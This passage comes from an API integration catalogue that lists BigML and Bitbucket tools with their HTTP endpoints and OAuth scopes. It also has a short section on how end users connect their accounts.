/api/v1/bigml/centroid. Scopes: api. bigml_get_centroid_by_id (read) — Centroid get via GET /centroid/{id} GET /api/v1/bigml/centroid/{id}. Scopes: api. bigml_get_cluster (read) — Cluster list via GET /cluster GET /api/v1/bigml/cluster. Scopes: api. bigml_get_cluster_by_id (read) — Cluster get via GET /cluster/{id} GET /api/v1/bigml/cluster/{id}. Scopes: api. bigml_get_composite (read) — Composite source list via GET /composite GET /api/v1/bigml/composite. Scopes: api. bigml_get_composite_by_id (read) — Composite source get via GET /composite/{id} GET /api/v1/bigml/composite/{id}. Scopes: api. bigml_get_configuration (read) — Configuration list via GET /configuration GET /api/v1/bigml/configuration. Scopes: api. bigml_get_configuration_by_id (read) — Configuration get via GET /configuration/{id} GET /api/v1/bigml/configuration/{id}. Scopes: api. bigml_get_correlation (read) — Correlation list via GET /correlation GET /api/v1/bigml/correlation. Scopes: api. bigml_get_correlation_by_id (read) — Correlation get via GET /correlation/{id} GET /api/v1/bigml/correlation/{id}. Scopes: api. bigml_get_dataset (read) — Dataset list via GET /dataset GET /api/v1/bigml/dataset. Scopes: api. bigml_get_dataset_by_id (read) — Dataset get via GET /dataset/{id} GET /api/v1/bigml/dataset/{id}. Scopes: api. bigml_get_deepnet (read) — Deepnet list via GET /deepnet GET /api/v1/bigml/deepnet. Scopes: api. bigml_get_deepnet_by_id (read) — Deepnet get via GET /deepnet/{id} GET /api/v1/bigml/deepnet/{id}. Scopes: api. bigml_get_ensemble (read) — Ensemble list via GET /ensemble GET /api/v1/bigml/ensemble. Scopes: api. bigml_get_ensemble_by_id (read) — Ensemble get via GET /ensemble/{id} GET /api/v1/bigml/ensemble/{id}. Scopes: api. bigml_get_evaluation (read) — Evaluation list via GET /evaluation GET /api/v1/bigml/evaluation. Scopes: api. bigml_get_evaluation_by_id (read) — Evaluation get via GET /evaluation/{id} GET /api/v1/bigml/evaluation/{id}. Scopes: api. bigml_get_execution (read) — WhizzML execution list via GET /execution GET /api/v1/bigml/execution. Scopes: api. bigml_get_execution_by_id (read) — WhizzML execution get via GET /execution/{id} GET /api/v1/bigml/execution/{id}. Scopes: api. bigml_get_externalconnector (read) — External connector list via GET /externalconnector GET /api/v1/bigml/externalconnector. Scopes: api. bigml_get_externalconnector_by_id (read) — External connector get via GET /externalconnector/{id} GET /api/v1/bigml/externalconnector/{id}. Scopes: api. bigml_get_forecast (read) — Forecast list via GET /forecast GET /api/v1/bigml/forecast. Scopes: api. bigml_get_forecast_by_id (read) — Forecast get via GET /forecast/{id} GET /api/v1/bigml/forecast/{id}. Scopes: api. bigml_get_fusion (read) — Fusion list via GET /fusion GET /api/v1/bigml/fusion. Scopes: api. bigml_get_fusion_by_id (read) — Fusion get via GET /fusion/{id} GET /api/v1/bigml/fusion/{id}. Scopes: api. bigml_get_library (read) — WhizzML library list via GET /library GET /api/v1/bigml/library. Scopes: api. bigml_get_library_by_id (read) — WhizzML library get via GET /library/{id} GET /api/v1/bigml/library/{id}. Scopes: api. bigml_get_linearregression (read) — Linear regression list via GET /linearregression GET /api/v1/bigml/linearregression. Scopes: api. bigml_get_linearregression_by_id (read) — Linear regression get via GET /linearregression/{id} GET /api/v1/bigml/linearregression/{id}. Scopes: api. bigml_get_logisticregression (read) — Logistic regression list via GET /logisticregression GET /api/v1/bigml/logisticregression. Scopes: api. bigml_get_logisticregression_by_id (read) — Logistic regression get via GET /logisticregression/{id} GET /api/v1/bigml/logisticregression/{id}. Scopes: api. bigml_get_model (read) — Model list via GET /model GET /api/v1/bigml/model. Scopes: api. bigml_get_model_by_id (read) — Model get via GET /model/{id} GET /api/v1/bigml/model/{id}. Scopes: api. bigml_get_optiml (read) — OptiML list via GET /optiml GET /api/v1/bigml/optiml. Scopes: api. bigml_get_optiml_by_id (read) — OptiML get via GET /optiml/{id} GET /api/v1/bigml/optiml/{id}. Scopes: api. bigml_get_pca (read) — PCA list via GET /pca GET /api/v1/bigml/pca. Scopes: api. bigml_get_pca_by_id (read) — PCA get via GET /pca/{id} GET /api/v1/bigml/pca/{id}. Scopes: api. bigml_get_prediction (read) — Prediction list via GET /prediction GET /api/v1/bigml/prediction. Scopes: api. bigml_get_prediction_by_id (read) — Prediction get via GET /prediction/{id} GET /api/v1/bigml/prediction/{id}. Scopes: api. bigml_get_project (read) — Project list via GET /project GET /api/v1/bigml/project. Scopes: api. bigml_get_project_by_id (read) — Project get via GET /project/{id} GET /api/v1/bigml/project/{id}. Scopes: api. bigml_get_projection (read) — Projection list via GET /projection GET /api/v1/bigml/projection. Scopes: api. bigml_get_projection_by_id (read) — Projection get via GET /projection/{id} GET /api/v1/bigml/projection/{id}. Scopes: api. bigml_get_sample (read) — Sample list via GET /sample GET /api/v1/bigml/sample. Scopes: api. bigml_get_sample_by_id (read) — Sample get via GET /sample/{id} GET /api/v1/bigml/sample/{id}. Scopes: api. bigml_get_script (read) — WhizzML script list via GET /script GET /api/v1/bigml/script. Scopes: api. bigml_get_script_by_id (read) — WhizzML script get via GET /script/{id} GET /api/v1/bigml/script/{id}. Scopes: api. bigml_get_source (read) — Source list via GET /source GET /api/v1/bigml/source. Scopes: api. bigml_get_source_by_id (read) — Source get via GET /source/{id} GET /api/v1/bigml/source/{id}. Scopes: api. bigml_get_statisticaltest (read) — Statistical test list via GET /statisticaltest GET /api/v1/bigml/statisticaltest. Scopes: api. bigml_get_statisticaltest_by_id (read) — Statistical test get via GET /statisticaltest/{id} GET /api/v1/bigml/statisticaltest/{id}. Scopes: api. bigml_get_timeseries (read) — Time series list via GET /timeseries GET /api/v1/bigml/timeseries. Scopes: api. bigml_get_timeseries_by_id (read) — Time series get via GET /timeseries/{id} GET /api/v1/bigml/timeseries/{id}. Scopes: api. bigml_get_topicdistribution (read) — Topic distribution list via GET /topicdistribution GET /api/v1/bigml/topicdistribution. Scopes: api. bigml_get_topicdistribution_by_id (read) — Topic distribution get via GET /topicdistribution/{id} GET /api/v1/bigml/topicdistribution/{id}. Scopes: api. bigml_get_topicmodel (read) — Topic model list via GET /topicmodel GET /api/v1/bigml/topicmodel. Scopes: api. bigml_get_topicmodel_by_id (read) — Topic model get via GET /topicmodel/{id} GET /api/v1/bigml/topicmodel/{id}. Scopes: api. bigml_post_anomaly (write) — Anomaly detector create via POST /anomaly POST /api/v1/bigml/anomaly. Scopes: api. bigml_post_anomalyscore (write) — Anomaly score create via POST /anomalyscore POST /api/v1/bigml/anomalyscore. Scopes: api. bigml_post_association (write) — Association create via POST /association POST /api/v1/bigml/association. Scopes: api. bigml_post_associationset (write) — Association set create via POST /associationset POST /api/v1/bigml/associationset. Scopes: api. bigml_post_batchanomalyscore (write) — Batch anomaly score create via POST /batchanomalyscore POST /api/v1/bigml/batchanomalyscore. Scopes: api. bigml_post_batchcentroid (write) — Batch centroid create via POST /batchcentroid POST /api/v1/bigml/batchcentroid. Scopes: api. bigml_post_batchprediction (write) — Batch prediction create via POST /batchprediction POST /api/v1/bigml/batchprediction. Scopes: api. bigml_post_batchprojection (write) — Batch projection create via POST /batchprojection POST /api/v1/bigml/batchprojection. Scopes: api. bigml_post_batchtopicdistribution (write) — Batch topic distribution create via POST /batchtopicdistribution POST /api/v1/bigml/batchtopicdistribution. Scopes: api. bigml_post_centroid (write) — Centroid create via POST /centroid POST /api/v1/bigml/centroid. Scopes: api. bigml_post_cluster (write) — Cluster create via POST /cluster POST /api/v1/bigml/cluster. Scopes: api. bigml_post_composite (write) — Composite source create via POST /composite POST /api/v1/bigml/composite. Scopes: api. bigml_post_configuration (write) — Configuration create via POST /configuration POST /api/v1/bigml/configuration. Scopes: api. bigml_post_correlation (write) — Correlation create via POST /correlation POST /api/v1/bigml/correlation. Scopes: api. bigml_post_dataset (write) — Dataset create via POST /dataset POST /api/v1/bigml/dataset. Scopes: api. bigml_post_deepnet (write) — Deepnet create via POST /deepnet POST /api/v1/bigml/deepnet. Scopes: api. bigml_post_ensemble (write) — Ensemble create via POST /ensemble POST /api/v1/bigml/ensemble. Scopes: api. bigml_post_evaluation (write) — Evaluation create via POST /evaluation POST /api/v1/bigml/evaluation. Scopes: api. bigml_post_execution (write) — WhizzML execution create via POST /execution POST /api/v1/bigml/execution. Scopes: api. bigml_post_externalconnector (write) — External connector create via POST /externalconnector POST /api/v1/bigml/externalconnector. Scopes: api. bigml_post_forecast (write) — Forecast create via POST /forecast POST /api/v1/bigml/forecast. Scopes: api. bigml_post_fusion (write) — Fusion create via POST /fusion POST /api/v1/bigml/fusion. Scopes: api. bigml_post_library (write) — WhizzML library create via POST /library POST /api/v1/bigml/library. Scopes: api. bigml_post_linearregression (write) — Linear regression create via POST /linearregression POST /api/v1/bigml/linearregression. Scopes: api. bigml_post_logisticregression (write) — Logistic regression create via POST /logisticregression POST /api/v1/bigml/logisticregression. Scopes: api. bigml_post_model (write) — Model create via POST /model POST /api/v1/bigml/model. Scopes: api. bigml_post_optiml (write) — OptiML create via POST /optiml POST /api/v1/bigml/optiml. Scopes: api. bigml_post_pca (write) — PCA create via POST /pca POST /api/v1/bigml/pca. Scopes: api. bigml_post_prediction (write) — Prediction create via POST /prediction POST /api/v1/bigml/prediction. Scopes: api. bigml_post_project (write) — Project create via POST /project POST /api/v1/bigml/project. Scopes: api. bigml_post_projection (write) — Projection create via POST /projection POST /api/v1/bigml/projection. Scopes: api. bigml_post_sample (write) — Sample create via POST /sample POST /api/v1/bigml/sample. Scopes: api. bigml_post_script (write) — WhizzML script create via POST /script POST /api/v1/bigml/script. Scopes: api. bigml_post_source (write) — Source create via POST /source POST /api/v1/bigml/source. Scopes: api. bigml_post_statisticaltest (write) — Statistical test create via POST /statisticaltest POST /api/v1/bigml/statisticaltest. Scopes: api. bigml_post_timeseries (write) — Time series create via POST /timeseries POST /api/v1/bigml/timeseries. Scopes: api. bigml_post_topicdistribution (write) — Topic distribution create via POST /topicdistribution POST /api/v1/bigml/topicdistribution. Scopes: api. bigml_post_topicmodel (write) — Topic model create via POST /topicmodel POST /api/v1/bigml/topicmodel. Scopes: api. bigml_put_anomaly_by_id (write) — Anomaly detector update via PUT /anomaly/{id} PUT /api/v1/bigml/anomaly/{id}. Scopes: api. bigml_put_anomalyscore_by_id (write) — Anomaly score update via PUT /anomalyscore/{id} PUT /api/v1/bigml/anomalyscore/{id}. Scopes: api. bigml_put_association_by_id (write) — Association update via PUT /association/{id} PUT /api/v1/bigml/association/{id}. Scopes: api. bigml_put_associationset_by_id (write) — Association set update via PUT /associationset/{id} PUT /api/v1/bigml/associationset/{id}. Scopes: api. bigml_put_batchanomalyscore_by_id (write) — Batch anomaly score update via PUT /batchanomalyscore/{id} PUT /api/v1/bigml/batchanomalyscore/{id}. Scopes: api. bigml_put_batchcentroid_by_id (write) — Batch centroid update via PUT /batchcentroid/{id} PUT /api/v1/bigml/batchcentroid/{id}. Scopes: api. bigml_put_batchprediction_by_id (write) — Batch prediction update via PUT /batchprediction/{id} PUT /api/v1/bigml/batchprediction/{id}. Scopes: api. bigml_put_batchprojection_by_id (write) — Batch projection update via PUT /batchprojection/{id} PUT /api/v1/bigml/batchprojection/{id}. Scopes: api. bigml_put_batchtopicdistribution_by_id (write) — Batch topic distribution update via PUT /batchtopicdistribution/{id} PUT /api/v1/bigml/batchtopicdistribution/{id}. Scopes: api. bigml_put_centroid_by_id (write) — Centroid update via PUT /centroid/{id} PUT /api/v1/bigml/centroid/{id}. Scopes: api. bigml_put_cluster_by_id (write) — Cluster update via PUT /cluster/{id} PUT /api/v1/bigml/cluster/{id}. Scopes: api. bigml_put_composite_by_id (write) — Composite source update via PUT /composite/{id} PUT /api/v1/bigml/composite/{id}. Scopes: api. bigml_put_configuration_by_id (write) — Configuration update via PUT /configuration/{id} PUT /api/v1/bigml/configuration/{id}. Scopes: api. bigml_put_correlation_by_id (write) — Correlation update via PUT /correlation/{id} PUT /api/v1/bigml/correlation/{id}. Scopes: api. bigml_put_dataset_by_id (write) — Dataset update via PUT /dataset/{id} PUT /api/v1/bigml/dataset/{id}. Scopes: api. bigml_put_deepnet_by_id (write) — Deepnet update via PUT /deepnet/{id} PUT /api/v1/bigml/deepnet/{id}. Scopes: api. bigml_put_ensemble_by_id (write) — Ensemble update via PUT /ensemble/{id} PUT /api/v1/bigml/ensemble/{id}. Scopes: api. bigml_put_evaluation_by_id (write) — Evaluation update via PUT /evaluation/{id} PUT /api/v1/bigml/evaluation/{id}. Scopes: api. bigml_put_execution_by_id (write) — WhizzML execution update via PUT /execution/{id} PUT /api/v1/bigml/execution/{id}. Scopes: api. bigml_put_externalconnector_by_id (write) — External connector update via PUT /externalconnector/{id} PUT /api/v1/bigml/externalconnector/{id}. Scopes: api. bigml_put_forecast_by_id (write) — Forecast update via PUT /forecast/{id} PUT /api/v1/bigml/forecast/{id}. Scopes: api. bigml_put_fusion_by_id (write) — Fusion update via PUT /fusion/{id} PUT /api/v1/bigml/fusion/{id}. Scopes: api. bigml_put_library_by_id (write) — WhizzML library update via PUT /library/{id} PUT /api/v1/bigml/library/{id}. Scopes: api. bigml_put_linearregression_by_id (write) — Linear regression update via PUT /linearregression/{id} PUT /api/v1/bigml/linearregression/{id}. Scopes: api. bigml_put_logisticregression_by_id (write) — Logistic regression update via PUT /logisticregression/{id} PUT /api/v1/bigml/logisticregression/{id}. Scopes: api. bigml_put_model_by_id (write) — Model update via PUT /model/{id} PUT /api/v1/bigml/model/{id}. Scopes: api. bigml_put_optiml_by_id (write) — OptiML update via PUT /optiml/{id} PUT /api/v1/bigml/optiml/{id}. Scopes: api. bigml_put_pca_by_id (write) — PCA update via PUT /pca/{id} PUT /api/v1/bigml/pca/{id}. Scopes: api. bigml_put_prediction_by_id (write) — Prediction update via PUT /prediction/{id} PUT /api/v1/bigml/prediction/{id}. Scopes: api. bigml_put_project_by_id (write) — Project update via PUT /project/{id} PUT /api/v1/bigml/project/{id}. Scopes: api. bigml_put_projection_by_id (write) — Projection update via PUT /projection/{id} PUT /api/v1/bigml/projection/{id}. Scopes: api. bigml_put_sample_by_id (write) — Sample update via PUT /sample/{id} PUT /api/v1/bigml/sample/{id}. Scopes: api. bigml_put_script_by_id (write) — WhizzML script update via PUT /script/{id} PUT /api/v1/bigml/script/{id}. Scopes: api. bigml_put_source_by_id (write) — Source update via PUT /source/{id} PUT /api/v1/bigml/source/{id}. Scopes: api. bigml_put_statisticaltest_by_id (write) — Statistical test update via PUT /statisticaltest/{id} PUT /api/v1/bigml/statisticaltest/{id}. Scopes: api. bigml_put_timeseries_by_id (write) — Time series update via PUT /timeseries/{id} PUT /api/v1/bigml/timeseries/{id}. Scopes: api. bigml_put_topicdistribution_by_id (write) — Topic distribution update via PUT /topicdistribution/{id} PUT /api/v1/bigml/topicdistribution/{id}. Scopes: api. bigml_put_topicmodel_by_id (write) — Topic model update via PUT /topicmodel/{id} PUT /api/v1/bigml/topicmodel/{id}. Scopes: api. ================================================================================ ## Bitbucket URL: https://www.agenticfabriq.com/integrations/bitbucket Section: Integrated Tools Bitbucket — 294 MCP tools Provider key: bitbucket. Scopes: account, account:write, email, pipeline, pipeline:variable, pipeline:write, project, project:admin, pullrequest, pullrequest:write, repository, repository:admin, repository:delete, repository:write, runner, runner:write, snippet, snippet:write, webhook. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bitbucket_delete_addon (write, destructive) — Delete add-on via DELETE /addon DELETE /api/v1/bitbucket/addon. Scopes: none. bitbucket_delete_repositories_by_workspace_by_repo_slug (write, destructive) — Delete repositories by workspace, repo slug via DELETE /repositories/{workspace}/{repo_slug} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}. Scopes: repository:delete. bitbucket_delete_repositories_by_workspace_by_repo_slug_branch_restrictions_by_id (write, destructive) — Delete repositories branch restrictions by workspace, repo slug, id via DELETE /repositories/{workspace}/{repo_slug}/branch-restrictions/{id} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/branch-restrictions/{id}. Scopes: repository:admin. bitbucket_delete_repositories_by_workspace_by_repo_slug_commit_by_commit_approve (write, destructive) — Delete repositories commit approve by workspace, repo slug, commit via DELETE /repositories/{workspace}/{repo_slug}/commit/{commit}/approve DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/approve. Scopes: repository:write. bitbucket_delete_repositories_by_workspace_by_repo_slug_commit_by_commit_comments_by_comment_id (write, destructive) — Delete repositories commit comments by workspace, repo slug, commit, comment id via DELETE /repositories/{workspace}/{repo_slug}/commit/{commit}/comments/{comment_id} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/comments/{comment_id}. Scopes: repository. bitbucket_delete_repositories_by_workspace_by_repo_slug_commit_by_commit_properties_by_app_key_by_property_name (write, destructive) — Delete Commit Hosted Property Value via DELETE /repositories/{workspace}/{repo_slug}/commit/{commit}/properties/{app_key}/{property_name} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_delete_repositories_by_workspace_by_repo_slug_commit_by_commit_reports_by_reportid (write, destructive) — Delete Report via DELETE /repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}. Scopes: repository. bitbucket_delete_repositories_by_workspace_by_repo_slug_commit_by_commit_reports_by_reportid_annotations_by_annotationid (write, destructive) — Delete Annotation via DELETE /repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}/annotations/{annotationId} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}/annotations/{annotationId}. Scopes: repository. bitbucket_delete_repositories_by_workspace_by_repo_slug_default_reviewers_by_target_username (write, destructive) — Delete repositories default reviewers by workspace, repo slug, target username via DELETE /repositories/{workspace}/{repo_slug}/default-reviewers/{target_username} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/default-reviewers/{target_username}. Scopes: repository:admin. bitbucket_delete_repositories_by_workspace_by_repo_slug_deploy_keys_by_key_id (write, destructive) — Delete repositories deploy keys by workspace, repo slug, key id via DELETE /repositories/{workspace}/{repo_slug}/deploy-keys/{key_id} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/deploy-keys/{key_id}. Scopes: repository, repository:admin. bitbucket_delete_repositories_by_workspace_by_repo_slug_deployments_config_environments_by_environment_uuid_variables_by_variable_uuid (write, destructive) — Delete Deployment Variable via DELETE /repositories/{workspace}/{repo_slug}/deployments_config/environments/{environment_uuid}/variables/{variable_uuid} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/deployments_config/environments/{environment_uuid}/variables/{variable_uuid}. Scopes: pipeline:variable. bitbucket_delete_repositories_by_workspace_by_repo_slug_downloads_by_filename (write, destructive) — Delete repositories downloads by workspace, repo slug, filename via DELETE /repositories/{workspace}/{repo_slug}/downloads/{filename} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/downloads/{filename}. Scopes: repository:write. bitbucket_delete_repositories_by_workspace_by_repo_slug_environments_by_environment_uuid (write, destructive) — Delete Environment For Repository via DELETE /repositories/{workspace}/{repo_slug}/environments/{environment_uuid} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/environments/{environment_uuid}. Scopes: pipeline. bitbucket_delete_repositories_by_workspace_by_repo_slug_hooks_by_uid (write, destructive) — Delete repositories hooks by workspace, repo slug, uid via DELETE /repositories/{workspace}/{repo_slug}/hooks/{uid} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/hooks/{uid}. Scopes: webhook. bitbucket_delete_repositories_by_workspace_by_repo_slug_permissions_config_groups_by_group_slug (write, destructive) — Delete repositories permissions config groups by workspace, repo slug, group slug via DELETE /repositories/{workspace}/{repo_slug}/permissions-config/groups/{group_slug} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/permissions-config/groups/{group_slug}. Scopes: repository:admin. bitbucket_delete_repositories_by_workspace_by_repo_slug_permissions_config_users_by_selected_user_id (write, destructive) — Delete repositories permissions config users by workspace, repo slug, selected user id via DELETE /repositories/{workspace}/{repo_slug}/permissions-config/users/{selected_user_id} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/permissions-config/users/{selected_user_id}. Scopes: repository:admin. bitbucket_delete_repositories_by_workspace_by_repo_slug_pipelines_config_caches (write, destructive) — Delete Repository Pipeline Caches via DELETE /repositories/{workspace}/{repo_slug}/pipelines-config/caches DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines-config/caches. Scopes: pipeline:write. bitbucket_delete_repositories_by_workspace_by_repo_slug_pipelines_config_caches_by_cache_uuid (write, destructive) — Delete Repository Pipeline Cache via DELETE /repositories/{workspace}/{repo_slug}/pipelines-config/caches/{cache_uuid} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines-config/caches/{cache_uuid}. Scopes: pipeline:write. bitbucket_delete_repositories_by_workspace_by_repo_slug_pipelines_config_runners_by_runner_uuid (write, destructive) — Delete Repository Runner via DELETE /repositories/{workspace}/{repo_slug}/pipelines-config/runners/{runner_uuid} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines-config/runners/{runner_uuid}. Scopes: runner:write. bitbucket_delete_repositories_by_workspace_by_repo_slug_pipelines_config_schedules_by_schedule_uuid (write, destructive) — Delete Repository Pipeline Schedule via DELETE /repositories/{workspace}/{repo_slug}/pipelines_config/schedules/{schedule_uuid} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/schedules/{schedule_uuid}. Scopes: pipeline:write. bitbucket_delete_repositories_by_workspace_by_repo_slug_pipelines_config_ssh_key_pair (write, destructive) — Delete Repository Pipeline Key Pair via DELETE /repositories/{workspace}/{repo_slug}/pipelines_config/ssh/key_pair DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/ssh/key_pair. Scopes: pipeline:variable. bitbucket_delete_repositories_by_workspace_by_repo_slug_pipelines_config_ssh_known_hosts_by_known_host_uuid (write, destructive) — Delete Repository Pipeline Known Host via DELETE /repositories/{workspace}/{repo_slug}/pipelines_config/ssh/known_hosts/{known_host_uuid} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/ssh/known_hosts/{known_host_uuid}. Scopes: pipeline:variable. bitbucket_delete_repositories_by_workspace_by_repo_slug_pipelines_config_variables_by_variable_uuid (write, destructive) — Delete Repository Pipeline Variable via DELETE /repositories/{workspace}/{repo_slug}/pipelines_config/variables/{variable_uuid} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/variables/{variable_uuid}. Scopes: pipeline:variable. bitbucket_delete_repositories_by_workspace_by_repo_slug_properties_by_app_key_by_property_name (write, destructive) — Delete Repository Hosted Property Value via DELETE /repositories/{workspace}/{repo_slug}/properties/{app_key}/{property_name} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_delete_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_approve (write, destructive) — Delete repositories pull requests approve by workspace, repo slug, pull request id via DELETE /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/approve DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/approve. Scopes: pullrequest:write. bitbucket_delete_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_comments_by_comment_id (write, destructive) — Delete repositories pull requests comments by workspace, repo slug, pull request id, comment id via DELETE /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments/{comment_id} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments/{comment_id}. Scopes: pullrequest. bitbucket_delete_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_comments_by_comment_id_resolve (write, destructive) — Delete repositories pull requests comments resolve by workspace, repo slug, pull request id, comment id via DELETE /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments/{comment_id}/resolve DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments/{comment_id}/resolve. Scopes: pullrequest. bitbucket_delete_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_request_changes (write, destructive) — Delete repositories pull requests request changes by workspace, repo slug, pull request id via DELETE /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/request-changes DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/request-changes. Scopes: pullrequest:write. bitbucket_delete_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_tasks_by_task_id (write, destructive) — Delete repositories pull requests tasks by workspace, repo slug, pull request id, task id via DELETE /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/tasks/{task_id} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/tasks/{task_id}. Scopes: pullrequest. bitbucket_delete_repositories_by_workspace_by_repo_slug_pullrequests_by_pullrequest_id_properties_by_app_key_by_property_name (write, destructive) — Delete Pull Request Hosted Property Value via DELETE /repositories/{workspace}/{repo_slug}/pullrequests/{pullrequest_id}/properties/{app_key}/{property_name} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pullrequest_id}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_delete_repositories_by_workspace_by_repo_slug_refs_branches_by_name (write, destructive) — Delete repositories refs branches by workspace, repo slug, name via DELETE /repositories/{workspace}/{repo_slug}/refs/branches/{name} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/refs/branches/{name}. Scopes: repository:write. bitbucket_delete_repositories_by_workspace_by_repo_slug_refs_tags_by_name (write, destructive) — Delete repositories refs tags by workspace, repo slug, name via DELETE /repositories/{workspace}/{repo_slug}/refs/tags/{name} DELETE /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/refs/tags/{name}. Scopes: repository:write. bitbucket_delete_snippets_by_workspace_by_encoded_id (write, destructive) — Delete snippets by workspace, encoded id via DELETE /snippets/{workspace}/{encoded_id} DELETE /api/v1/bitbucket/snippets/{workspace}/{encoded_id}. Scopes: snippet:write. bitbucket_delete_snippets_by_workspace_by_encoded_id_by_node_id (write, destructive) — Delete snippets by workspace, encoded id, node id via DELETE /snippets/{workspace}/{encoded_id}/{node_id} DELETE /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/{node_id}. Scopes: snippet:write. bitbucket_delete_snippets_by_workspace_by_encoded_id_comments_by_comment_id (write, destructive) — Delete snippets comments by workspace, encoded id, comment id via DELETE /snippets/{workspace}/{encoded_id}/comments/{comment_id} DELETE /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/comments/{comment_id}. Scopes: snippet. bitbucket_delete_snippets_by_workspace_by_encoded_id_watch (write, destructive) — Delete snippets watch by workspace, encoded id via DELETE /snippets/{workspace}/{encoded_id}/watch DELETE /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/watch. Scopes: snippet:write. bitbucket_delete_teams_by_username_pipelines_config_variables_by_variable_uuid (write, destructive) — Delete Pipeline Variable For Team via DELETE /teams/{username}/pipelines_config/variables/{variable_uuid} DELETE /api/v1/bitbucket/teams/{username}/pipelines_config/variables/{variable_uuid}. Scopes: pipeline:variable. bitbucket_delete_users_by_selected_user_gpg_keys_by_fingerprint (write, destructive) — Delete users gpg keys by selected user, fingerprint via DELETE /users/{selected_user}/gpg-keys/{fingerprint} DELETE /api/v1/bitbucket/users/{selected_user}/gpg-keys/{fingerprint}. Scopes: account:write. bitbucket_delete_users_by_selected_user_pipelines_config_variables_by_variable_uuid (write, destructive) — Delete Pipeline Variable For User via DELETE /users/{selected_user}/pipelines_config/variables/{variable_uuid} DELETE /api/v1/bitbucket/users/{selected_user}/pipelines_config/variables/{variable_uuid}. Scopes: pipeline:variable. bitbucket_delete_users_by_selected_user_properties_by_app_key_by_property_name (write, destructive) — Delete User Hosted Property Value via DELETE /users/{selected_user}/properties/{app_key}/{property_name} DELETE /api/v1/bitbucket/users/{selected_user}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_delete_users_by_selected_user_ssh_keys_by_key_id (write, destructive) — Delete users ssh keys by selected user, key id via DELETE /users/{selected_user}/ssh-keys/{key_id} DELETE /api/v1/bitbucket/users/{selected_user}/ssh-keys/{key_id}. Scopes: account:write. bitbucket_delete_workspaces_by_workspace_hooks_by_uid (write, destructive) — Delete workspaces hooks by workspace, uid via DELETE /workspaces/{workspace}/hooks/{uid} DELETE /api/v1/bitbucket/workspaces/{workspace}/hooks/{uid}. Scopes: webhook. bitbucket_delete_workspaces_by_workspace_pipelines_config_runners_by_runner_uuid (write, destructive) — Delete Workspace Runner via DELETE /workspaces/{workspace}/pipelines-config/runners/{runner_uuid} DELETE /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/runners/{runner_uuid}. Scopes: runner:write. bitbucket_delete_workspaces_by_workspace_pipelines_config_variables_by_variable_uuid (write, destructive) — Delete 